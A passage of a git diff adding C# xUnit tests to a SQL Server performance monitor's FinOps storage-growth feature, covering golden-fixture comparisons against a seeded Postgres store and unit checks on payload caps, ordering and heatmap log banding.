+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer", name))
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void ThePicker_BuildsItsSelectionAndItsLabelsThroughTheHelper()
+    {
+        var code = ViewerFile("FinOpsTab.xaml.cs");
+        Assert.Contains("FinOpsServerChoice.Selection(", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("ViewerServerSetSync.PickerSelectionAfterReload(", code, StringComparison.Ordinal);
+
+        var xaml = ViewerFile("FinOpsTab.xaml");
+        Assert.Contains("Binding PickerLabel", xaml, StringComparison.Ordinal);
+        Assert.Equal(FinOpsServerChoice.Label(Pg(7)), Pg(7).PickerLabel);
+    }
+
+    [Fact]
+    public void TheLoader_RunsNoReadForAPostgresTarget_ExceptServerInventory()
+    {
+        var loaders = ViewerFile("FinOpsTab.Loaders.cs");
+        var load = loaders[loaders.IndexOf("private async Task LoadFinOpsAsync()", StringComparison.Ordinal)..];
+        var gate = load.IndexOf("FinOpsServerChoice.NotCollectedLine(", StringComparison.Ordinal);
+        var firstRead = load.IndexOf("switch (FinOpsSubTabControl.SelectedIndex)", StringComparison.Ordinal);
+        Assert.True(gate >= 0, "LoadFinOpsAsync must ask the helper whether the selected server's reads apply");
+        Assert.True(gate < firstRead, "the gate must run before the sub-tab switch starts any read");
+        Assert.Contains("crossServer: SelectedSubTabIsCrossServer", load, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ServerInventory_HasAShowRemovedCheckbox_OffByDefault_PassedToTheReader()
+    {
+        var xaml = ViewerFile("FinOpsTab.xaml");
+        var box = xaml.IndexOf("x:Name=\"FinOpsShowRemovedCheck\"", StringComparison.Ordinal);
+        Assert.True(box >= 0, "the Server Inventory header needs the checkbox");
+        var tag = xaml[box..xaml.IndexOf("/>", box, StringComparison.Ordinal)];
+        Assert.Contains("Show removed servers", tag, StringComparison.Ordinal);
+        Assert.DoesNotContain("IsChecked=\"True\"", tag, StringComparison.Ordinal);
+
+        var loaders = ViewerFile("FinOpsTab.Loaders.cs");
+        Assert.Contains("var includeRemoved = FinOpsServerChoice.IncludeRemoved(FinOpsShowRemovedCheck.IsChecked);", loaders, StringComparison.Ordinal);
+        Assert.Contains("GetServerInventoryAsync(includeRemoved)", loaders, StringComparison.Ordinal);
+
+        var service = ViewerFile("ViewerDataService.FinOps.Inventory.cs");
+        Assert.Contains("includeRemoved: includeRemoved", service, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsStorageGrowthGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsStorageGrowthGoldenLiveTests.cs
new file mode 100644
index 0000000000..b0cb4fcaa7
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsStorageGrowthGoldenLiveTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Golden-fixture pin for the FinOps Storage Growth reads (<c>GetStorageGrowthAsync</c>,
+/// <c>GetObjectGrowthHeatmapDataAsync</c> and <c>GetObjectIndexDetailAsync</c>). A deterministic seeded store is read
+/// and the results are serialized (declaration-order public properties, decimals at their stored scale, times as
+/// offsets from today's UTC midnight) and compared byte for byte with <c>Fixtures/FinOpsStorageGrowth/golden.json</c>.
+/// Set <c>DARLING_WRITE_GOLDEN=1</c> to regenerate it. Every ORDER BY in these reads ends in a unique key, so a tied
+/// sort key still has one order and the rows are compared in that order.
+///
+/// <para>Server A: a latest snapshot, a 7-day and a 30-day at-or-before snapshot (each with a newer decoy that must
+/// be ignored), one database with no 30-day snapshot, one with no past snapshot, a Hyperscale-style log row with no
+/// size, and two databases tied on both growth figures; plus the object-growth data for one database (tables across
+/// several days, two snapshots on the latest day, a tie on growth, a table that exists only on the latest day and
+/// more tables than the top-N) and the index detail for tables with two indexes, a heap and NULL usage columns.
+/// Server B: one snapshot, five days old, so the latest probe takes the fallback. Server C: a latest snapshot ten
+/// days old and one forty days old, so both at-or-before probes take the fallback. Server D has no rows.</para>
+/// </summary>
+public sealed class FinOpsStorageGrowthGoldenLiveTests
+{
+    internal const string ServerNameA = "darling-finops-sg-golden-a";
+    internal const string ServerNameB = "darling-finops-sg-golden-b";
+    internal const string ServerNameC = "darling-finops-sg-golden-c";
+    internal const string ServerNameD = "darling-finops-sg-golden-d";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    internal static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+    internal static readonly int ServerIdC = ServerIdHelper.GetDeterministicHashCode(ServerNameC);
+    internal static readonly int ServerIdD = ServerIdHelper.GetDeterministicHashCode(ServerNameD);
+    internal const string HeatDb = "HeatDb";
+
+    [Fact]
+    public Task StorageGrowthReads_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var map = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB), ("c", ServerIdC), ("d", ServerIdD) })
+            {
+                var heat = await viewer.GetObjectGrowthHeatmapDataAsync(id, HeatDb, 30, 4, ct);
+                map[key] = new Dictionary<string, object?>
+                {
+                    ["storageGrowth"] = await viewer.GetStorageGrowthAsync(id, cancellationToken: ct),
+                    ["heatmapObjects"] = heat.Objects,
+                    ["heatmapSamples"] = heat.Samples,
+                    ["indexDetailOrders"] = await viewer.GetObjectIndexDetailAsync(id, HeatDb, "dbo", "Orders", ct),
+                    ["indexDetailHeap"] = await viewer.GetObjectIndexDetailAsync(id, HeatDb, "dbo", "Heap", ct),
+                    ["indexDetailMissing"] = await viewer.GetObjectIndexDetailAsync(id, HeatDb, "dbo", "NoSuchTable", ct),
+                };
+            }
+            return FinOpsOptimizationGoldenLiveTests.Serialize(anchor, map);
+        });
+
+    [Fact]
+    public Task StorageGrowthReads_MatchGoldenFixture_ThroughTheStorageReaderAndRowMappers() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            var map = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB), ("c", ServerIdC), ("d", ServerIdD) })
+            {
+                var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-30), DateTimeKind.Unspecified);
+                var heat = await DarlingFinOpsStorageGrowthReader.GetObjectGrowthHeatmapDataAsync(dataSource, id, HeatDb, windowStart, 30, 4, 30, ct);
+                map[key] = new Dictionary<string, object?>
+                {
+                    ["storageGrowth"] = (await DarlingFinOpsStorageGrowthReader.GetStorageGrowthAsync(dataSource, id, DateTime.UtcNow, 30, ct)).ConvertAll(StorageGrowthRow.From),
+                    ["heatmapObjects"] = heat.Objects.ConvertAll(o => ObjectSizeGrowthRow.From(o, HeatDb)),
+                    ["heatmapSamples"] = heat.Samples,
+                    ["indexDetailOrders"] = (await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(dataSource, id, HeatDb, "dbo", "Orders", 30, ct)).ConvertAll(IndexUsageRow.From),
+                    ["indexDetailHeap"] = (await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(dataSource, id, HeatDb, "dbo", "Heap", 30, ct)).ConvertAll(IndexUsageRow.From),
+                    ["indexDetailMissing"] = (await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(dataSource, id, HeatDb, "dbo", "NoSuchTable", 30, ct)).ConvertAll(IndexUsageRow.From),
+                };
+            }
+            return FinOpsOptimizationGoldenLiveTests.Serialize(anchor, map);
+        });
+
+    internal static async Task RunAsync(Func<string, DateTime, CancellationToken, Task<string>> read)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps storage growth golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await SeedAsync(connection, anchor, ct);
+        }
+
+        AssertGolden(await read(scratch.ConnectionString, anchor, ct));
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection c, DateTime anchor, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdB, ServerNameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdC, ServerNameC, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdD, ServerNameD, ct);
+
+        /* Server A, latest snapshot at today's midnight. A baseline is the snapshot NEAREST its mark (now-7d, now-30d) and within a day
+           of it. The marks sit at anchor-7d and anchor-30d plus the time of day, so anchor-7d and anchor-30d are the only offsets within
+           that day at every hour (the live Storage Growth view tests seed 7.5 and 30.5 days back relative to the real clock and assert
+           the exact rate over the real span). The decoys, anchor-5d and anchor-27d, are more than a day from either mark at every hour
+           and must be ignored. */
+        var latest = anchor;
+        var p7 = anchor.AddDays(-7);
+        var p30 = anchor.AddDays(-30);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "GrowAlpha", 1, 1000.5m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "GrowAlpha", 2, 250m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "GrowBeta", 1, 800m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "NewGamma", 1, 40.25m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "TieDelta", 1, 500m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "TieEpsilon", 1, 500m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "HyperDb", 1, 300m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "HyperDb", 2, null);
+        await Size(c, ct, ServerIdA, ServerNameA, p7, "GrowAlpha", 1, 900m);
+        await Size(c, ct, ServerIdA, ServerNameA, p7, "GrowAlpha", 2, 200m);
+        await Size(c, ct, ServerIdA, ServerNameA, p7, "GrowBeta", 1, 780m);
+        await Size(c, ct, ServerIdA, ServerNameA, p7, "TieDelta", 1, 400m);
+        await Size(c, ct, ServerIdA, ServerNameA, p7, "TieEpsilon", 1, 400m);
+        await Size(c, ct, ServerIdA, ServerNameA, p7, "HyperDb", 1, 290m);
+        await Size(c, ct, ServerIdA, ServerNameA, p30, "GrowAlpha", 1, 700m);
+        await Size(c, ct, ServerIdA, ServerNameA, p30, "GrowAlpha", 2, 100m);
+        await Size(c, ct, ServerIdA, ServerNameA, p30, "TieDelta", 1, 300m);
+        await Size(c, ct, ServerIdA, ServerNameA, p30, "TieEpsilon", 1, 300m);
+        await Size(c, ct, ServerIdA, ServerNameA, anchor.AddDays(-5), "GrowAlpha", 1, 99999m);
+        await Size(c, ct, ServerIdA, ServerNameA, anchor.AddDays(-27), "GrowAlpha", 1, 88888m);
+
+        /* Azure sibling database on server A: one whole-database row per snapshot (file_id NULL, file_name = the sibling name),
+           so HasSiblingRow is true. The latest side drops only the old-shape row (no used_size_mb); the 7-day and 30-day sides
+           (#5498) drop EVERY whole-database row, so both past points and both growth figures are blank. Were the p7 and p30
+           rows counted, they would be 560 MB and 100 MB. */
+        await Sibling(c, ct, ServerIdA, ServerNameA, latest, "SiblingOmega", 600m, 500m);
+        await Sibling(c, ct, ServerIdA, ServerNameA, p7, "SiblingOmega", 560m, 450m);
+        await Sibling(c, ct, ServerIdA, ServerNameA, p30, "SiblingOmega", 100m, null);
+
+        /* #5498: an Azure database upgraded to the per-file collector. Its older rows are the whole-database shape (data space
+           only, used space present), its newest rows are the real data file and log file. The log must not read as growth: the
+           past points and growth are blank. Were the 7-day sibling row counted, growth would be 120 MB. */
+        await Sibling(c, ct, ServerIdA, ServerNameA, p7, "SiblingZeta", 380m, 350m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "SiblingZeta", 1, 380m);
+        await Size(c, ct, ServerIdA, ServerNameA, latest, "SiblingZeta", 2, 120m);
+
+        /* Server B: one snapshot, so the latest probe's two-day window is empty and the fallback finds it. */
+        await Size(c, ct, ServerIdB, ServerNameB, anchor.AddDays(-5), "OnlyBeta", 1, 123.75m);
+
+        /* Server C: a baseline is the sample nearest each mark within one day, and neither snapshot (-10d, -40d) is within a day of
+           the 7-day or the 30-day mark, so both growth figures are null. */
+        await Size(c, ct, ServerIdC, ServerNameC, anchor.AddDays(-10), "StaleGamma", 1, 600m);
+        await Size(c, ct, ServerIdC, ServerNameC, anchor.AddDays(-40), "StaleGamma", 1, 450m);
+
+        /* Object growth for HeatDb on server A. Earliest instant anchor-5d+3h, then -3d+3h, then two on the latest day. */
+        var e = anchor.AddDays(-5).AddHours(3);
+        var m = anchor.AddDays(-3).AddHours(3);
+        var l1 = anchor.AddDays(-1).AddHours(3);
+        var l2 = anchor.AddDays(-1).AddHours(15);
+        foreach (var (t, orders, lines, tie1, tie2, flat) in new[]
+                 {
+                     (e, 100m, 50m, 10m, 20m, 30m),
+                     (m, 120m, 70m, 15m, 25m, 30m),
+                     (l1, 150m, 90m, 20m, 30m, 30m),
+                     (l2, 160m, 100m, 20m, 30m, 30m),
+                 })
+        {
+            await Idx(c, ct, t, "Orders", 1, "PK_Orders", "CLUSTERED", orders * 0.75m, 800_000, 5000, 100, 20, 400, anchor.AddDays(-1), null, anchor.AddHours(-2));
+            await Idx(c, ct, t, "Orders", 2, "IX_Orders_Nc", "NONCLUSTERED", orders * 0.25m, 800_000, null, null, null, null, null, null, null);
+            await Idx(c, ct, t, "Lines", 1, "PK_Lines", "CLUSTERED", lines, 2_000_000, 10, 0, 0, 5, null, null, null);
+            await Idx(c, ct, t, "TiedOne", 1, "PK_TiedOne", "CLUSTERED", tie1, 1000, 0, 0, 0, 0, null, null, null);
+            await Idx(c, ct, t, "TiedTwo", 1, "PK_TiedTwo", "CLUSTERED", tie2, 1000, 0, 0, 0, 0, null, null, null);
+            await Idx(c, ct, t, "Flat", 1, "PK_Flat", "CLUSTERED", flat, 10, 1, 1, 1, 1, null, null, null);
+            await Idx(c, ct, t, "Heap", 0, null, "HEAP", orders / 10m, 77, 3, 0, 0, 0, null, null, null);
+        }
+        await Idx(c, ct, l2, "NewTable", 1, "PK_NewTable", "CLUSTERED", 12.5m, 123, 0, 0, 0, 0, null, null, null);
+        await Idx(c, ct, l2, "Orders", 3, "IX_Orders_Extra", "NONCLUSTERED", 7m, 800_000, 0, 0, 0, 9, null, null, null);
+    }
+
+    private static Task Size(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, DateTime at, string db, int fileId, decimal? sizeMb) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, file_id, total_size_mb) VALUES ($1, $2, $3, $4, $5, $6, $7)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, db, fileId, sizeMb);
+
+    private static Task Sibling(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, DateTime at, string db, decimal sizeMb, decimal? usedMb) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, file_id, file_name, total_size_mb, used_size_mb) VALUES ($1, $2, $3, $4, $5, NULL, $6, $7, $8)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, db, AzureSiblingDatabaseSize.FileName, sizeMb, usedMb);
+
+    private static Task Idx(NpgsqlConnection c, CancellationToken ct, DateTime at, string table, int indexId, string? indexName, string type,
+        decimal reserved, long rows, long? seeks, long? scans, long? lookups, long? updates,
+        DateTime? lastSeek, DateTime? lastScan, DateTime? lastUpdate) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name,
+                index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates,
+                last_user_seek, last_user_scan, last_user_update)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, HeatDb, "dbo", 1000 + table.Sum(ch => (int)ch), table,
+            indexId, indexName, type, reserved, reserved * 0.9m, rows, seeks, scans, lookups, updates, lastSeek, lastScan, lastUpdate);
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsStorageGrowth", "golden.json");
+
+    internal static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+        {
+            Directory.CreateDirectory(Path.GetDirectoryName(GoldenSourcePath())!);
+            File.WriteAllText(GoldenSourcePath(), actual);
+        }
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsStorageGrowth", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsStorageGrowthViewTests.cs b/Darling/Darling.Tests/FinOpsStorageGrowthViewTests.cs
new file mode 100644
index 0000000000..cd47105f6e
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsStorageGrowthViewTests.cs
@@ -0,0 +1,784 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+public sealed class FinOpsStorageGrowthViewTests
+{
+    private static StorageGrowthDto Db(string name, decimal? g30, decimal? g7) =>
+        new(name, 100m, null, null, g7, g30, null, null, false, false);
+
+    private static FinOpsHeatmapMatrix Matrix(params double[] cells) => new()
+    {
+        Intensities = new double[1, cells.Length].Also(m => { for (var i = 0; i < cells.Length; i++) m[0, i] = cells[i]; }),
+        RowLabels = ["a"],
+        Days = Enumerable.Range(0, cells.Length).Select(i => new DateTime(2026, 9, 1).AddDays(i)).ToArray(),
+    };
+
+    [Fact]
+    public void ServedHead_NamesTheView_AndStaysUnderTheTarget()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.Contains("storage_growth:", served.Served, StringComparison.Ordinal);
+        Assert.True(served.Served.Length <= 620, $"served head is {served.Served.Length}");
+        Assert.True(DarlingMcpFinOpsTools.StorageGrowthViewLine.Length <= 80);
+    }
+
+    [Fact]
+    public void GuideTail_CarriesTheViewsKeyFacts()
+    {
+        var tail = McpToolGuideTests.Served("get_finops").Tail;
+        Assert.NotNull(tail);
+        foreach (var fact in new[] { "24 (the default) means 30 days", "from 7 to 90", "at most 12 objects", "is refused above 20", "up to 50 rows", "up to 30 rows", "[mb, band]", "log1p(mb)", "not UTC", "object_name without database_name", "limit below 20, or a window over 30 days (at most 12 objects)", "understated when the store holds less history than the window" })
+            Assert.Contains(fact, tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void GuideTail_NoLongerSaysTheHeatmapAndGridCanDiffer()
+    {
+        var tail = McpToolGuideTests.Served("get_finops").Tail;
+        Assert.NotNull(tail);
+        Assert.DoesNotContain("can differ from the grid", tail, StringComparison.Ordinal);
+        Assert.Contains("a table created in the window counts its whole size", tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ViewsAllowList_ContainsTheView() =>
+        Assert.Contains("storage_growth", DarlingMcpFinOpsTools.Views);
+
+    /* #5238: a limit sets the databases level's row count. The default means the top 50 (the response sized to the 32 KB target), and a
+       count of 500 lists every database of a large server. */
+    [Fact]
+    public void DatabasesPayload_CutsAtTheRowCap_AndTheDefaultLimitMeansFifty()
+    {
+        var sixty = Enumerable.Range(1, 60).Select(i => Db("db" + i.ToString("D2"), i, i)).ToList();
+        Assert.Equal(50, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(10));
+        Assert.Equal(2, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(2));
+        Assert.Equal(500, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(500));
+
+        using var byDefault = JsonDocument.Parse(DarlingMcpFinOpsTools.BuildStorageGrowthDatabasesPayload("srv", 24, sixty));
+        var cut = byDefault.RootElement.GetProperty("databases");
+        Assert.Equal(60, cut.GetProperty("database_count").GetInt32());
+        Assert.True(cut.GetProperty("truncated").GetBoolean());
+        Assert.Equal(50, cut.GetProperty("rows").GetArrayLength());
+
+        using var all = JsonDocument.Parse(DarlingMcpFinOpsTools.BuildStorageGrowthDatabasesPayload("srv", 24, sixty, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(500)));
+        var whole = all.RootElement.GetProperty("databases");
+        Assert.False(whole.GetProperty("truncated").GetBoolean());
+        Assert.Equal(60, whole.GetProperty("rows").GetArrayLength());
+    }
+
+    /* #5238: the default 10 means 50, and any other limit is the count, on both sides of 10: a limit of 1 keeps one database and a limit of 11 keeps
+       eleven, not fifty. So the count is not monotonic (9 is 9 rows, 10 is 50, 11 is 11), as database_sizes reads 10 as 70 and 11 as 11. */
+    [Fact]
+    public void DatabasesPayload_ALimitEitherSideOfTheDefault_IsTheCount_NotFifty()
+    {
+        var sixty = Enumerable.Range(1, 60).Select(i => Db("db" + i.ToString("D2"), i, i)).ToList();
+        Assert.Equal(1, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(1));
+        Assert.Equal(9, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(9));
+        Assert.Equal(11, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(11));
+        foreach (var asked in new[] { 1, 11 })
+        {
+            using var counted = JsonDocument.Parse(DarlingMcpFinOpsTools.BuildStorageGrowthDatabasesPayload("srv", 24, sixty, DarlingMcpFinOpsTools.StorageGrowthDatabaseCap(asked)));
+            var section = counted.RootElement.GetProperty("databases");
+            Assert.Equal(60, section.GetProperty("database_count").GetInt32());
+            Assert.True(section.GetProperty("truncated").GetBoolean(), $"limit {asked}");
+            Assert.Equal(asked, section.GetProperty("rows").GetArrayLength());
+        }
+    }
+
+    /* #5238: the three views the web lists in full take a limit up to 500; the top-N views keep their 50. */
+    [Fact]
+    public void LimitCeilings_AreFiveHundredForTheListsTheWebShowsInFull_AndFiftyForTheTopNViews()
+    {
+        foreach (var view in new[] { "database_sizes", "index_analysis", "storage_growth" })
+            Assert.Equal(500, DarlingMcpFinOpsTools.MaxLimitFor(view));
+        foreach (var view in new[] { "utilization", "high_impact", "database_resources", "application_connections", "optimization" })
+            Assert.Equal(50, DarlingMcpFinOpsTools.MaxLimitFor(view));
+    }
+
+    [Fact]
+    public void OrderDatabases_NullsLast_InBothGrowthKeys_ThenName_FromAReversedInput()
+    {
+        var input = new[] { Db("z", null, null), Db("a", 5m, 1m), Db("b", 5m, 1m), Db("c", 5m, null), Db("d", 5m, 9m), Db("e", -3m, 0m), Db("y", null, 4m) };
+        var ordered = DarlingMcpFinOpsTools.OrderStorageGrowthDatabases(input.Reverse()).Select(r => r.DatabaseName).ToArray();
+        Assert.Equal(new[] { "d", "a", "b", "c", "e", "y", "z" }, ordered);
+    }
+
+    [Fact]
+    public void BareEmpty_NeedsEverySectionEmpty_AndNoneGated()
+    {
+        Assert.True(DarlingMcpFinOpsTools.IsBareEmpty([0, 0], [null, null]));
+        Assert.False(DarlingMcpFinOpsTools.IsBareEmpty([0, 0], [null, "gated"]));
+        Assert.False(DarlingMcpFinOpsTools.IsBareEmpty([0, 1], [null, null]));
+    }
+
+    [Fact]
+    public void OrderIndexes_ByIndexId_ThenNameOrdinal_FromAReversedInput()
+    {
+        IndexUsageDto Ix(int id, string n) => new("d", "s", "t", n, "NONCLUSTERED", id, 1m, 1, 0, 0, 0, 0, 0, null, "Unused", new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc));
+        var ordered = DarlingMcpFinOpsTools.OrderStorageGrowthIndexes(new[] { Ix(2, "b"), Ix(2, "a"), Ix(1, "z") }.Reverse());
+        Assert.Equal(new[] { "z", "a", "b" }, ordered.Select(i => i.IndexName).ToArray());
+    }
+
+    [Fact]
+    public void RankObjects_CountsNullGrowthAsZero_ThenKeyOrdinal_AndCutsAtLimit()
+    {
+        ObjectSizeGrowthDto O(string t, decimal? g) => new("dbo", t, 1m, 1m, 1, 1, g, null, null);
+        var (ranked, truncated) = DarlingMcpFinOpsTools.RankStorageGrowthObjects(new[] { O("d", -2m), O("c", null), O("b", 0m), O("a", 7m) }.Reverse().ToList(), 3);
+        Assert.Equal(new[] { "a", "b", "c" }, ranked.Select(o => o.TableName).ToArray());
+        Assert.True(truncated);
+    }
+
+    [Fact]
+    public void MatrixLogBands_LiteralValues()
+    {
+        /* log1p scale from the smallest positive cell (band 0) to the largest (band 7): 3 -> ln4, 99 -> ln100; the midpoint of the two logs is 4 * 100 -> sqrt = 19.9 -> band 4. */
+        var bands = FinOpsHeatmapBuilder.MatrixLogBands(Matrix(0, 3, 19.9, 99, 50), 8);
+        Assert.Null(bands[0, 0]);
+        Assert.Equal(0, bands[0, 1]);
+        Assert.Equal(4, bands[0, 2]);
+        Assert.Equal(7, bands[0, 3]);
+        Assert.Equal(6, bands[0, 4]);
+    }
+
+    [Fact]
+    public void MatrixLogBands_AllEqual_OrASingleCell_TakeBandZero_AndAnEmptyMatrixHasNone()
+    {
+        var bands = FinOpsHeatmapBuilder.MatrixLogBands(Matrix(5, 0, 5), 8);
+        Assert.Equal(0, bands[0, 0]);
+        Assert.Null(bands[0, 1]);
+        Assert.Equal(0, bands[0, 2]);
+        Assert.Equal(0, FinOpsHeatmapBuilder.MatrixLogBands(Matrix(0, 42, 0), 8)[0, 1]);
+        Assert.Null(FinOpsHeatmapBuilder.MatrixLogBands(Matrix(0, 0), 8)[0, 1]);
+    }
+
+    [Fact]
+    public void MatrixLogBands_NonFiniteCellsHaveNoBand_AndAreLeftOutOfTheRange()
+    {
+        var bands = FinOpsHeatmapBuilder.MatrixLogBands(Matrix(double.NaN, double.PositiveInfinity, double.NegativeInfinity, 3, 99), 8);
+        Assert.Null(bands[0, 0]);
+        Assert.Null(bands[0, 1]);
+        Assert.Null(bands[0, 2]);
+        Assert.Equal(0, bands[0, 3]);
+        Assert.Equal(7, bands[0, 4]);
+        Assert.Null(FinOpsHeatmapBuilder.MatrixLogBands(Matrix(double.NaN, double.PositiveInfinity), 8)[0, 1]);
+    }
+
+    [Fact]
+    public void MatrixLogBands_RefusesABandCountBelowOne_AndANullMatrix()
+    {
+        Assert.Throws<ArgumentOutOfRangeException>(() => FinOpsHeatmapBuilder.MatrixLogBands(Matrix(1, 2), 0));
+        Assert.Throws<ArgumentOutOfRangeException>(() => FinOpsHeatmapBuilder.MatrixLogBands(Matrix(1, 2), -1));
+        Assert.Throws<ArgumentNullException>(() => FinOpsHeatmapBuilder.MatrixLogBands(null!, 8));
+        Assert.Equal(0, FinOpsHeatmapBuilder.MatrixLogBands(Matrix(1, 2), 1)[0, 1]);
+    }
+
+    [Fact]
+    public void MatrixLogBands_NormalisesFromTheSmallestPositive_NotFromZero()
+    {
+        /* From 0, 3 of 99 would be log(4)/log(100) = 0.30 -> band 2; from the smallest positive it is band 0. */
+        Assert.Equal(0, FinOpsHeatmapBuilder.MatrixLogBands(Matrix(3, 99), 8)[0, 0]);
+    }
+
+    [Fact]
+    public void WorstCase_EveryLevelSerialisesUnder32768Bytes()
+    {
+        var name = new string('n', 128);
+        var dbs = Enumerable.Range(0, 150).Select(i => new StorageGrowthDto(name + i.ToString("D3"), 99999999.99m, 99999999.99m, 99999999.99m, 99999999.99m, 99999999.99m, 99999999.99m, 9999.9m, true, true)).ToList();
+        var databases = Encoding.UTF8.GetByteCount(DarlingMcpFinOpsTools.BuildStorageGrowthDatabasesPayload(new string('s', 128), 24, dbs));
+
+        var objs = Enumerable.Range(0, 20).Select(i => new ObjectSizeGrowthDto(name, name + i.ToString("D2"), 99999999.9m, 99999999.9m, 9_999_999_999L, 99, 99999999.9m, 99999.99m, 9999.9m)).ToList();
